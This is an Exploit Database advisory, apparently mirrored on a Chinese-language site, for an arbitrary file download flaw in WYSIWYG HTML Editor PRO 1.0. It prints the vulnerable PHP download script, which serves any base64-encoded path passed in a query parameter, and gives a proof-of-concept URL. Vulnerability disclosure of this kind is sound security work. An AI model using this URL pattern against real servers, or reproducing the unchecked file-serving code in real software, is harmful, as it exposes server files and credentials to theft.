WYSIWYG HTML Editor PRO 1.0 – Arbitrary File Download

• Exploit Database
• 16 阅读

• 作者： Ihsan Sencan
  日期： 2017-08-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42571/

• # # # # # 
  # Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download
  # Dork: N/A
  # Date: 28.08.2017
  # Vendor Homepage: http://nelliwinne.net/
  # Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022
  # Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/
  # Version: 1.0
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Social: @ihsansencan
  # # # # #
  # Description:
  # The security obligation allows an attacker to arbitrary download files..
  #
  # Vulnerable Source:
  #
  # .............
  # <?php
  # $file = base64_decode($_GET['id']);
  # 
  # if (file_exists($file)) {
  # header('Content-Description: File Transfer');
  # header('Content-Type: application/octet-stream');
  # header('Content-Disposition: attachment; filename="'.basename($file).'"');
  # header('Expires: 0');
  # header('Cache-Control: must-revalidate');
  # header('Pragma: public');
  # header('Content-Length: ' . filesize($file));
  # readfile($file);
  # exit;
  # }
  # ?>
  # .............
  # Proof of Concept:
  #
  # http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64]
  # 
  # Etc...
  # # # # #